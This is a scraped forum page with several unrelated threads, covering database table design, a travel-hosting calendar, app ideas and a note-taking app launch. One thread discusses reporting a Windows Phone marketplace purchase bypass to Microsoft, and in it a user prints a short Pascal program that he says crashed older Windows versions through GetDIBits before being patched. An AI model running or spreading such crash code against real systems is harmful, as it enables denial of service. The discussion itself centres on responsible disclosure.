Hoping for some suggestions re tables - General Topics

warning- first post, longish, but even glancing at it is much appreciated!
Hi all,
First post here - hoping I don't ruffle any feathers in asking but I've chosen this community as it has been helpful in the past and often is in the first few google search results when I'm hunting for answers.
I lucked out last year when I was working for the State Parks system (seasonal) as a State Ranger- saw an opportunity to turn paper inspection logs (of water craft launching on state waters) digital. Dusted off the programming skills (hadn't done much since VB6, and even then- my hay day was back with VB3.0) and came up with a working concept.
The state was well receiving of this - but I'm not a programmer by nature- now faced with developing software to be run by hundreds of individuals simultaneously across the state instead of just my working concept. Additionally, the state I reside in is the leader in vessel inspections- many other states are modeling after us and are interested in the software. This means the software will likely end up in the hands of thousands and the database receiving millions of entries per year.
I'm a one man show here and the people that brought me on would prefer keep a separation between myself and IT so that the state's IT folks don't muck the project and, well, ruin the best thing I have going for me. That leaves me with the internet for answers and every waking hour devoted toward not messing this up
The information that is logged contains many things that change frequently, as we're checking the condition of the vessel. Dirt, plants, accumulations of water, etc. all vary. Additionally, the trailers that these vessels arrive on can vary too.
This leaves me with no clue how to structure my tables. I can take baby steps for now as we're in the pilot phases of this deployment (~5 bodies of water max, maybe 50,000 entries this summer)... just need to figure out something that'll work for now.
Currently I have just a single table, no keys defined. I search for information with sql statements, filter by registration number as well as the time since I figure there can never be duplicates for a vessel and a particular time of a certain day. I've looked at the Northwind example and several others but they have a few fields that simply don't change. The boat reg# will not change, we don't collect owners names so that can't remain static... I may set it up with an autoincrement field but that would be the first column of a single table. I want to do this at least semi-legit, can anyone see a reason to have parent and child tables given the circumstances?
Thanks- I know this was a jumbled mess but any assitance would be so greatly appreciated.

sounds like you need to read about normalization, and get a pen and lots of pieces of paper and draw your tables out.
are you developing on android? you didn't really mention anything about this from the glance i took - the line height here is a little too close together for me to be able to read it all properly. if so, sqlite really doesn't manage fulltext searches all too well and the relevant info has to be put into a separate table. if you need that ability you're going to have to do some reading on sqlite.org
the simple answer is, no one can answer the question except you. you need to group the data together in a way that's sensible for your application.
and yes, it was all a jumbled mess. i'm sure you haven't thought it through clearly in your head yet as you can't explain it!
you could make this really funky with photos, gps coords etc etc, but again, without a solid foundation, you'll be redesigning your tables every time you want to update. so think it through!
oh, and one more thing: security.
{
"lightbox_close": "Close",
"lightbox_next": "Next",
"lightbox_previous": "Previous",
"lightbox_error": "The requested content cannot be loaded. Please try again later.",
"lightbox_start_slideshow": "Start slideshow",
"lightbox_stop_slideshow": "Stop slideshow",
"lightbox_full_screen": "Full screen",
"lightbox_thumbnails": "Thumbnails",
"lightbox_download": "Download",
"lightbox_share": "Share",
"lightbox_zoom": "Zoom",
"lightbox_new_window": "New window",
"lightbox_toggle_sidebar": "Toggle sidebar"
}

oh, and one more thing - you do realise that with giving all that information you have, you're showing your bosses that you're not really that comfortable programming. that puts you in a dangerous position.

Thanks for your reply-
No worries on them realizing I'm not the all-star programmer, the prototype I developed last season / after I got laid off has already demonstrated its worth and enormous savings annually. Since being brought back on (now specifically for this project) last week, I've worked to turn a functional concept in to something a little more reliable.
This includes cleaning up my code (through continued learning), adding helpful features (none that will take weeks to code), and developing a database that will last AT LEAST a season.
My software was developed for windows mobile 6 classic last year on an Ipaq 111. The state has purchased several new ES400's by Motorola per my suggestion since they were already running WM and were more reliable than any cell phone (plus barcode, finger print, etcetc).
Every bit of the code seems to be fine and not require any modifications, it's just working on my database. In 2012 all devices (over a thousand- if pilot goes ok) will be live on one central database - I will do this through occasionally connected functionality offered with SQL Compact....
In the mean time, the state was hesitant to invest in a server and data plans for each mobile device... leaving phase I as a daily syncing operation. I'll basically have to sync .SDF files from each individual PDA and then merge the SDF files in to one, which can be reloaded to each PDA again. Hopefully I can accomplish this programmatically.
I suppose that last bit is outside the topic of table structures. I've given it the afternoon to think over and I'm not sure I can benefit from multiple tables with no static fields short of vessel registration #. This may demonstrate my lack of understanding for databases in general. I'll get there some day.

Related

[XDA INT'L TRAVEL EXCHANGE] Why not visit? Get Google Planning Cal/Twitter: XDAtravel

I was PM'ing orb3000 last night -- thanking him for help with a recent posting about the DEVVY AWARDS program -- which had some timing setbacks, but is getting reworked to properly honor the entire collective of developers who made the Windows Mobile platform "sing" over past 6-8 years... and this will be its Swan Song since we all know by October WindowsMobile will cease to exist as an ongoing platform.
I was saying to orb3000 -- "thanks, and I look forward to visiting you in Mexico when I eventually take my 'XDA WORLD TOUR' visiting people in various countries that I've met in the XDA-devs community...
Well... Once of the ways I get myself into trouble is by taking ideas that hit me -- and then looking at them again and saying "Wait a minute.. WHY NOT FOR REAL?"
So this was just a thought: Nothing at all elaborate right now (learned that lesson!)... Why not just set up a GOOGLE CALENDAR called XDAtravel ....
For those who've used Google Calendar there are many great things about it:
• If you have a main Gmail account, and have a main GOOGLE CALENDAR you use for home/personal, or for work, you can just TURN ON, and TURN OFF "Other Calendar" overlays, such as, in this case XDAtravel".
• It's not PUBLIC, it's private and secure, but it's shared by those who have been given READ/WRITE permissions. Those are given by the XDAtravel "Calendar Owner" ... that's me, because I just created a gmail account called [email protected], simply to be able to create that calendar.
• Let's say that orb3000 thinks "yeah, that's good idea, I'd like the ability to just keep OFF most of the time, but every now and then TURN ON the XDAtravel CALENDAR OVERLAY and see WHO, in WHICH CITY is saying
"I AM WILLING TO HOST SOME TRAVELING XDA-DEV MEMBERS VISITING HAMBURG, GERMANY BETWEEN SEPTEMBER 7-15, 2010"
Click to expand...
Click to collapse
• Or he could scan further and see "I wonder if anyone in CALIFORNIA, USA is open to having a travel guest in October or November.. If so, I am going to put a TEMPORARY "CLAIM" on those dates and then check with my boss at work to see if I can take some vacation days during that time. I know I have about 10 vacation days I have not used yet."
OR
• orb3000 could say to self, "My family and I have room to host someone here for just a few days, maybe 3 days maximum. That would be kind of nice. I don't have a particular day in mind, but I now that the month of October is a good time, not too busy.... so, I am going to make an ENTRY on the XDAtravel calendar that spans the month of October 2010 that says "MEXICO CITY" (*note, not actual city, just making up for example): "Open to having houseguest for maximum of 3 days. Please contact for details, and block out a section on the calendar when you might want to visit"
• and so on
===================
MORE BASIC INFORMATION ABOUT HOW GOOGLE CALENDAR WORKS:
• Google has improved over the years, so now, to simply SUBSCRIBE to the travel calendar, you do NOT NEED to have a gmail account. But you would need a yahoo, or MSN or hotmail or similar account. Because what enables you to access the PRIVATE SECURE SHARED CALENDAR is via an email invitation link, specific to you. And in order to be able to view or add to the calendar, you would have to first request to the "Calendar Owner" (that's me) permission to access, and the Calendar owner has to go into the Calendar Settings and explicity ADD your email address to the list of those allowed to access the calendar. Once your email address was added, a notification link would be sent to you by email, and you could click through, and then access the calendar.
• At that point, Google Calendar has really made their Interface Controls easy and great, with simple simple color coding of YOUR choice (what color to make this Travel Calendar's events) --- and -- simple simple ONE-CLICK to "TURN ON" a calendar layer (like this one) and one click to turn it off.
==================================
(please COPY & PASTE this next little block to help me gauge your response)
==================================
THE IDEA ITSELF: Encouraging a way to make it easy to coordinate staying a few days with fellow XDA community members when traveling internationally, given we're practically in every country around the world:
__ Great idea, seems workable, at least at first glance.
__ Great in theory, but I don't think people would really get into it, thus there would likely never be any "listings" to get the ball rolling.
__ Good idea, but not something I would likely ever want to take part in.
__ Good idea, but I don't see myself traveling, so I could never really use it.
__ Good idea, but I don't have the space to host anyone at my home, so I could never offer up my place as a destination someone could visit. ***
(*** My followup question: REALLY? TRULY? Many or most people who travel are used to the "student backpacker" culture where people are traveling as cheaply as possible, and staying in "hostels" or small tiny rooms, often without WC or toilet, or water... In my experience, what people traveling LOVE LOVE LOVE is having someone local who knows the city be able to maybe show them 1 or two things, then tell them other things to do. Travelers do not expect you to entertain them. They do not expect you to personally take off from work and show them around. They do not expect you to spend your money and cook for them. If anything, they want to take YOU to dinner for being nice and giving them a place to stay for a few days. What people love most is visiting with real people from another country -- not phony people from a tour, or some arranged visit to see "authentic Russian people eating authentic Russian food". So.... maybe.. think again )
__ As nice as it sounds, I don't like this kind of thing. I can't explain why.
__ I can explain why. I am here to exchange knowledge about my phone and tinker with software development. While it's interesting that XDA has people from all over the world, it's not why I am here, and I don't really care to meet anyone offline.
__ Bad idea. Full of problems.
__ Other: please comment:
==========================
Thank you!
and even though there's nothing to tweet about -- hah hah -- just in case anyone IS traveling this summer and wants to find fellow XDA people more easily -- well, try subscribing to
http://twitter.com/XDAtravel
I have nothing to say -- it's just there as complimentary infrastructure if the idea were interesting. BUT... if people subscribed, you could find each other there.
I doubt this will work because it is an iframe element, but this is supposed to embed the calendar on a website... But also, since it is PRIVATE, even it it worked, i don't know how or what it would display.
But I just want to see so I am going to insert the EMBED code here and see what happens --- probably gibberish...
<iframe src="http://www.google.com/calendar/embed?src=xdatravel%40gmail.com&ctz=America/Los_Angeles" style="border: 0" width="800" height="600" frameborder="0" scrolling="no"></iframe>
Well since that didn't work, then I'll post a pic of the twit channel as an irrelevant substitute ...
{
"lightbox_close": "Close",
"lightbox_next": "Next",
"lightbox_previous": "Previous",
"lightbox_error": "The requested content cannot be loaded. Please try again later.",
"lightbox_start_slideshow": "Start slideshow",
"lightbox_stop_slideshow": "Stop slideshow",
"lightbox_full_screen": "Full screen",
"lightbox_thumbnails": "Thumbnails",
"lightbox_download": "Download",
"lightbox_share": "Share",
"lightbox_zoom": "Zoom",
"lightbox_new_window": "New window",
"lightbox_toggle_sidebar": "Toggle sidebar"
}

[REQ] graphical google analytics app - the better version

I've been using google analytics for a little while now and grown to like the way information is laid out for the desktop browser version. Then I looked on the market and found some apps that give you basic information from your account.
But they left me a bit wanting. I was hoping for something more informative, easy and fast to read and remember.
Now as I'm programming illiterate I can only speak for usability and general feel of the app, while appreciating and giving credit to the people putting their time, talent and effort into writing them. The following is not a criticism, it is a proposal for improvement.
So I tried to make something better. Thought about why the desktop version works so well for me and sought out ways to include as much of it onto a small screen. So I drafted my idea of an interface and interaction plus an explanation on how I see it working.
I've done this with a 480 width so that anyone with a 480x800 screen can see how it would look with a bit of zooming 1:1
{
"lightbox_close": "Close",
"lightbox_next": "Next",
"lightbox_previous": "Previous",
"lightbox_error": "The requested content cannot be loaded. Please try again later.",
"lightbox_start_slideshow": "Start slideshow",
"lightbox_stop_slideshow": "Stop slideshow",
"lightbox_full_screen": "Full screen",
"lightbox_thumbnails": "Thumbnails",
"lightbox_download": "Download",
"lightbox_share": "Share",
"lightbox_zoom": "Zoom",
"lightbox_new_window": "New window",
"lightbox_toggle_sidebar": "Toggle sidebar"
}
As you can see, I've done things a bit differently. Starting with choosing the account and profile, everything is on one page. No more 2-3-4 taps before you get what info you need. This should work by setting one account and one profile as default in the settings. Also integrated graphical representations with a bit of interaction to help with bringing a lot of info onto a small screen.
Also chose the areas that I think would be of most interest. This might not be true for everyone so i'm open for suggestions.
Now, I have some questions.
1. Is this technically feasible?
For one, the apps on the market I've tried so far take a few seconds to return 20-30 lines of text. (my device is a htc desire) How much time wold it take to download and process all this behemoth of data? If too much, could the interface be loaded sequentially by section?
2. What are the hardware platforms that this app could work on with decent performance?
Hero class? Snapdragon?
So I'm looking for someone that is interested in either:
- coding the app from the ground up
- or improving (at least i'm hoping this is an improvement ) his/her existing app with all this
I'm also looking for some feedback of existing analytics apps users.
I would help in any way my programmingly crippled self could. I can also do all the things I've done with Timester: concept, graphics, promotion.
Here is the thread for Timester: Timester development thread
Could someone with experience tell if this is possible?
Thank you
Hello zamolxees,
thanks for the idea. Of course this would be possible to realise. While implementing my app GAnalyticz I had several problems and questions you also have:
How to display the big list of data on the small screen?
How to make the app as fast as possible?
What is the best user experience?
...
I decided to make only a text based view (table). I this case you can show the data on every device with any resolution and you have all information you need. I know it's not so fancy, but it is/was ok for a first version (I think ).
Second important part was the app performance. Google hasn't a library ready and there aren't any good libraries available, so I had to call the Google API on my own. You can get the data in xml via http request. Just combine the metrics & dimensions available in querystring.
So getting the data is very easy. The easiest way to get all the needed data is to make one http request. But then you have to sort and filter the xml which needs a lot of performance. This made my app unuseable. Because of this I decided to make multiple requests. In this case I can just parse the xml and output the data while iterating through it. This is much faster (the fastest way I found, I've tried a lot...). But as you say it is also slow this way...This is because the response from the Google service is really really slow...
So far about my app. Technical it is easy to implement (I think the graphical stuff is the hardest part, but there are libraries for this). The challenge is to find the perfect way to show the data on the device (and to get a good performance for this). You could also load the data sequentially (as I also did).
In my opinion, the hardware is not a problem. This should run on every device.
Actually I don't have enough time to implement this or improve my app (because of another app ). But I hope you will find another developer and looking forward to download this app
Many greets,
aquasonic
Hey, thank you for your detailed input.
I think that one way to help with slow response time from google servers might be to make the requests for data in the background at set intervals (6 or 12 hours) and when the app is opened do the processing of data already received.
The user could clearly see the hour of the last sync and also choose to refresh if they wanted to.
Isn't there a more elegant solution to getting analytics data from google?
Thanks again aqua-sonic, good luck on the other app, let us know how it turns out
Anyone else wanting to take a stab at it?
I'm thinking that as there are a lot of people using analytics apps now, all the more would want to use this.
Any existing users would care to express their opinion?
Would this interface mean an improvement that is worth investing time and effort into?
Would you like to see this done?
Know any good good developers willing to write the code?
Enough questions.

[Q] Does Microsoft offer bounties for exploits like Google?

The reason I ask is because I found a big one. Well for MS it's big. It allows for an end user to 'buy' apps/games from the on device marketplace without actually paying anything. The app purchase appears in your history and can be redownloaded at anytime just as with any legitimately purchased app. This can all be done on an unmodified device pretty simply and if the device is dev unlocked it can be done REALLY easily. Sadly this doesn't help any of us in the interop/full unlock area as it has more to do with purchase validation than code validation.
I would say ask Microsoft. But you should turn it in regardless, not because of morals but because it could hurt our ecosystem/chance of WP success if someone with the wrong hands found it. Plus since your a recognized dev I'm sure you wouldn't like your work getting stolen
He-he, MS marketplace scheme is full of bugs but I don't think they will pay you something.
Good example is ChevronWP: for their great and early find MS "paid" (actually just let 'em do the job) for $100K total, it means one year job (OK, may be a moonlight job) for each team member for $30K? (Don't forget: they prepared some backend, payment system, databases etc. etc. etc - lot of pain in the a$$)
{
"lightbox_close": "Close",
"lightbox_next": "Next",
"lightbox_previous": "Previous",
"lightbox_error": "The requested content cannot be loaded. Please try again later.",
"lightbox_start_slideshow": "Start slideshow",
"lightbox_stop_slideshow": "Stop slideshow",
"lightbox_full_screen": "Full screen",
"lightbox_thumbnails": "Thumbnails",
"lightbox_download": "Download",
"lightbox_share": "Share",
"lightbox_zoom": "Zoom",
"lightbox_new_window": "New window",
"lightbox_toggle_sidebar": "Toggle sidebar"
}
C'mon, you may earn that money for pizza delivery!
BTW, nice find, good job, congrats!
P.S. voluptuary, if you have some direct MS contacts (4 example, your MS evangelists, or some MS insiders - middle level managers or developers etc.), try to contact these guys first.
I don't believe MS has bug-bounties for external finds, though you could always try negotiating with them (I don't recommend it, they may get litigious if they think you're trying to extort them). They do however generally deal fairly with external finds (i.e. if they don't think you're being abusive and are acting in good faith, they'll be appreciative unlike some companies which would immediately unleash the lawyers).
I'm with @jeffreygtab on this, also; anything that makes app piracy really easy needs to be dealt with for the good of the platform. Android frequently loses notable devs who don't want to deal with an unreliable market. WP7 doesn't need that kind of bad rap; it's hard enough just getting the market share.
The implication that it can be done without having dev-unlock is interesting... and a bit scary. That needs to be patched immediately. MS knows that some dev-unlock is used for piracy (that's why there's the 10-app limit by default) but if it can be done on a dev-locked phone, that needs to be fixed immediately. It's also going to be easier for somebody unscrupulous to repeat this now that they know it's possible.
Agree 100% with GoodDayToDie! So, voluptuary, please try to keep your find in secret and do not share with anybody (including recognized developers and friends from XDA), it's kinda dangerous (GoodDayToDie is 200% right). If you want and don't have direct contacts in MS, let me know, I can try contact my guys ASAP. PM or email me.
Thoroughly impressed that you guys have the foresight to see this for what it is, as opposed to just extorting it for personal gain. Truly shows where your hearts lie, and it's refreshing to see.
The three of you are a credit to the WP7 scene here, even if it's just in the eyes of a rookie Mod
I tip my hat to you.
He-he, from my own experience. In 2006 I've found (accidentally) a very critical vulnerability for ALL Microsoft operating systems: from Windows 95 to latest Vista or Windows Server 2003!
That simple Pascal code (but can be C or whatever; also you'll never suspect something wrong in this code!)
Code:
program reboot;
uses
windows;
var
pData: pointer;
Info: TBitmapInfo;
Width, Heigth: dword;
ImageDc: HDC;
Bitmap: HBITMAP;
begin
Width := 640;
Heigth := 480;
ImageDc := GetDc(0);
Bitmap := CreateCompatibleBitmap(ImageDc, Width, Heigth);
GetMem(pData, Width*Heigth*8);
ZeroMemory(@Info, sizeof(TBitmapInfo));
Info.bmiHeader.biSize := sizeof(TBitmapInfo);
Info.bmiHeader.biWidth := Width;
Info.bmiHeader.biHeight := Heigth;
Info.bmiHeader.biPlanes := 1;
Info.bmiHeader.biBitCount := 32;
Info.bmiHeader.biCompression := BI_BITFIELDS;
GetDiBits(ImageDc, Bitmap, 0, Width, pData, Info, DIB_RGB_COLORS);
end.
(I'm publishing that code 'cause issue already resolved by MS)
causes immediate crash of any MS OS and push system to reboot, even without BSOD! If you have a MSDN 2005, you can easy reproduce that bug.
But... I wrote 5 (five!) emails to MS until issue wasn't resolved (at April 3-rd, 2007). Try to guess, how I was rewarded? Yep, for a real hacker "sorry" and "thanks" from the Microsoft Security Response Center stuff is best award
I never intended on sharing this with the dark underworld of the internet since it has no real use aside from piracy, but I had just read about Google's bounties for bugs so I figured I'd ask. I have to do a little more testing to make sure it's not just a backend glitch with my account but after I know for sure I'll submit a report to... someone. I'll figure that out later too.
as far as I remember there was a glitch with apps purchased and cancelled right away...someone posted here months ago something about an app that kept on reinstalling.
Glitches like these are like CC errors you see published on news papers...even if you WILL explain it, M$ will remotely erase it once they realize that there's no dineros paid...
As for piracy, only a few words: sideloading due to custom ROMs,wp marketplace, Milkman, Navigon, Nokia Apps...even running Tango could be seen as piracy; piracy is like a BJ, it depends on which end you are.
Anyway, congrats on your clean WP roms, no pun intended, they are awesome for being clean of skins and icons and so on.
Ahaha, nice find @sensboston. I once went to MS talk where they were discussing some piece of Windows malware they'd dissected. They discussed the various exploits it had used, and at one point during the talk said something like this:
"... so for the next part it exploited a vulnerability called Win32k.sys - I mean, a vulnerability in Win32k.sys - to access the kernel..."
Win32k.sys is where all the DIB stuff, among other things, lives. It's a huge mass of very high-performance code that runs in kernel mode to avoid even the (trivial, these days) performance hit of a ring switch... but it's also very old code (the oldest parts are from the mid-90s) and apparently every time they have to fix something in it there are a bunch of regressions due to the change, so apparently the Windows team is scared to touch it...
I don't know anybody on the WP7 team, but I do know some people at Microsoft if you want me to put you in touch with them. Do verify the bug first, of course, but I suggest doing so with free apps if possible...

To root or to app-root?

Dear all: This is my first post. I spent two days reading posts concerning the highly anticipated unlocking of the S7 G930T bootloader. It sounds as though the developers at XDA and anot entity known as Chainfire are chomping at the bit in expectation -- TWRP is written and waiting at the border. That is awesome and I wish you all the best of luck. There are several apps that I wish to install on my phone. Most of them address device security (firewalls, etc...) and secure communications. Thank you in advance for your many hours of work.
My question is one of methodology and the ultimate goals of device rooting using the Android 6+ OS. Why not use a virtual root as a cheap and tawdry temporary work around? A similar method appears to have worked well for a Corbin Champion who create Gnuroot. His app creates rooted Linux environments on Android devices and requires no Android root.
Will this work for applications that require a rooted Android? Is my question rooted in reality? What are the limitations of a rooted app or virtual root system?
Why would anyone want to use a cheap trick? Is it possible that using an app or a virtual root may avoid potential crashes and instabilities? Samsung may have locked the bootloader to prevent or slow the use of the S7 G930T in illegal activity. Wouldn't the development of an app for non-developers all us to benefit from many wonderful apps while preventing non-developers from engaging in less than ethical hacking with root as a lockpick?
I also read an XDA post concerning chain-loading an OS from a USB device. This also seems like a clever work around. It may also be an effective security tool that may allow a cellular device to be driven by a portable OS. It may allow one to protect device data and USB-OS data while enjoying network communications. What are your thoughts?
If I could pull this off on my own, I would do it and release it for free since that seems to be the thing to do -- to contribute in an academic manner to the karma/knowledge pool. I hope that capable hands consider a project like this to be worth while. If is already done, please point me in the right direction.
Thanks.
Cheers!
Dear all:
After I posted and asked questions that I though were interesting, I continued to read and look for helpful apps.
I lot of new apps appeared in the Google play store. Or maybe I just had not paid attention well enough before.
However the coincidence occurred, the most useful apps were the IP tools such as trace and location search.
Before that day I never once obtained an IP trace result and location that was at all useful or even remotely interesting. This time I was able to summon the leviathan.
The corresponding IP address to a machine that was and may still be in constant communication with my Samsung Galaxy S7:
172.217.3.238
The corresponding GPS coordinates:
37.4192000, -122.0574000
In the links below you will see that this corresponds to an office building on the property of the Moffett Federal Air Field near Mountain View and Stevens Creek California. How did that happen. My attorney doesn't know either. He says that no one is looking for me or is in great want of a chat with me. I am a medical student. ????
Ok. So I sent a complaint to the California State Attorney General Kamala Harris... several time by fax, online portal, and email. I called her office to confirm. Her staff confirm, don't confirm, and say that they have no way of tracing documents received by their server. So my attorney called and emailed.
Anyway... this smells of phone spoofing and phone trapping again so I will have to fight just to submit a complaint.
Links to the IPtrce and IP location searches.
{
"lightbox_close": "Close",
"lightbox_next": "Next",
"lightbox_previous": "Previous",
"lightbox_error": "The requested content cannot be loaded. Please try again later.",
"lightbox_start_slideshow": "Start slideshow",
"lightbox_stop_slideshow": "Stop slideshow",
"lightbox_full_screen": "Full screen",
"lightbox_thumbnails": "Thumbnails",
"lightbox_download": "Download",
"lightbox_share": "Share",
"lightbox_zoom": "Zoom",
"lightbox_new_window": "New window",
"lightbox_toggle_sidebar": "Toggle sidebar"
}
The link to my complaint to California Attorney General Kamal Harris.
Why wond the images post?
I am not sure what went wrong, But the image files are not visible.. How do I correct this?
Ahzreal2 said:
I am not sure what went wrong, But the image files are not visible.. How do I correct this?
Click to expand...
Click to collapse
I'm not sure about this whole thread... That IP is Google, which has nothing to do with your post about a 'virtual root', OS on USB, or whatever.
See this: http://172.217.3.238.ipaddress.com/

[APP][5.0+][v0.9.0] Tag My Knowledge - Personal Knowledge Management made simple

Tag My Knowledge
Personal Knowledge Management made simple
Quickly store and categorize bits of knowledge you find in books, videos or podcasts and convert them into habits that change your life.
​
Hey everyone!
I love watching podcasts and CEO interviews on YouTube. However, I quickly ran into some big issues (see below).
Luckily, since I'm a developer, I can fix these for myself. The solution turned out to be pretty good, so I decided to share it
Issues that I ran into with existing solutions (ie. what this app is trying to solve)
Issue #1: Knowledge is buried under grocery lists
Originally I used Google Keep, but at some point I realized that everything below a certain "scroll threshold" was lost forever unless I specifically searched for it.
To combat this, Tag My Knowledge uses what's called spaced repetition.
By reading something 10 times with time in between, you remember it much better than If you read it 10 times in a row.
That's why Tag My Knowledge uses a feed-approach. Every day, you see random items so you subconsciously build habits out of them!
Issue #2: Note taking wasn't fast enough
Speakers talk pretty fast and while you can pause & rewind YouTube videos, it quickly becomes annoying. Even worse, you can't rewind live events.
Tag My Knowledge is optimized to keep up with that. Adding knowledge takes as few clicks possible.
That way, you never miss some important off-topic nugget never again!
Screenshots
{
"lightbox_close": "Close",
"lightbox_next": "Next",
"lightbox_previous": "Previous",
"lightbox_error": "The requested content cannot be loaded. Please try again later.",
"lightbox_start_slideshow": "Start slideshow",
"lightbox_stop_slideshow": "Stop slideshow",
"lightbox_full_screen": "Full screen",
"lightbox_thumbnails": "Thumbnails",
"lightbox_download": "Download",
"lightbox_share": "Share",
"lightbox_zoom": "Zoom",
"lightbox_new_window": "New window",
"lightbox_toggle_sidebar": "Toggle sidebar"
}
Features
A single piece of knowledge can consist of a title, rich text description, a source (with optional link), tags and one or more categories
You can manage all of your tags in one place
You can modify your list of categories (up to 5). You can change name, icon and order.
The first 4 will be shown as tabs at the bottom for quick access
You can filter for tags
You can toggle feed/history mode. History mode shows all your knowledge in chronological order (within that category), feed is essentially random (algorithm behind it but whatever)
Works on multiple devices (currently only on Android & via Progressive Web App)
Download / Where to get it
Website (here you can also sign up for a newsletter to get notified on updates)
Progressive Web App (also works on iOS)
Huawei App Gallery (doesn't have Google login, otherwise equal. Screenshots are outdated, app isn't.)
As of right now, the app is completely free and everything that's in it will definitely stay free forever.
That being said, if there's enough interest, I'll probably create some sort of premium plan so I can continue to improve it.
I have so many ideas on how to improve this, but I can't afford to invest my life into it without being able to pay my rent.
Please comment below and let me know what you think about it
Specifically, these are the question on my mind right now:
- Is this useful to you at all?
- What solution are you currently using, if any?
- I would use this, if ...
Have a great day!
~Philipp Bauer
Google Play and the Google Play logo are trademarks of Google LLC.
Basically a good idea, but why do we need an account for it? I'd rather keep my notes local. If need be, put them in a folder to sync via the preferred solution (e.g. NextCloud).
Thanks for the feedback!
I thought about that as well, but in the end I decided against it for a few reasons:
- The app is built for simplicity and having to set up your own sync solution would go against that
- Synchronization between mobile & web versions can never be completely seamless & instant when relying on cloud storage providers or custom solutions. I also found this way too easy to mess up on both sides.
- Local-only data is inherently lost when you lose your phone. This is obvious, but originally I was the only person I developed for and I constantly softbrick/switch/factory reset/upgrade my device so I'd rather not risk that or take the time to do manual export/import
I also have a lot of features planned which simply aren't possible (or become incredibly tedious) when the database is local.
- A twitter bot to tag knowledge automatically when you @ it (similar to readwise.io).
- In-app knowledge sharing (if I get the chance, I'd build some optional social media features into the app). For example you could share your knowledge in exchange for a custom email feed of other people's knowledge that could be interesting for you
- A chrome extension
CiriousJoker said:
Thanks for the feedback!
I thought about that as well, but in the end I decided against it for a few reasons:
- The app is built for simplicity and having to set up your own sync solution would go against that
- Synchronization between mobile & web versions can never be completely seamless & instant when relying on cloud storage providers or custom solutions. I also found this way too easy to mess up on both sides.
- Local-only data is inherently lost when you lose your phone. This is obvious, but originally I was the only person I developed for and I constantly softbrick/switch/factory reset/upgrade my device so I'd rather not risk that or take the time to do manual export/import
I also have a lot of features planned which simply aren't possible (or become incredibly tedious) when the database is local.
- A twitter bot to tag knowledge automatically when you @ it (similar to readwise.io).
- In-app knowledge sharing (if I get the chance, I'd build some optional social media features into the app). For example you could share your knowledge in exchange for a custom email feed of other people's knowledge that could be interesting for you
- A chrome extension
Click to expand...
Click to collapse
Right, that does sound interesting and well thought-through. But in the end of the day that approach is exactly *not* what I am looking for. Thanks anyway.

Categories

Resources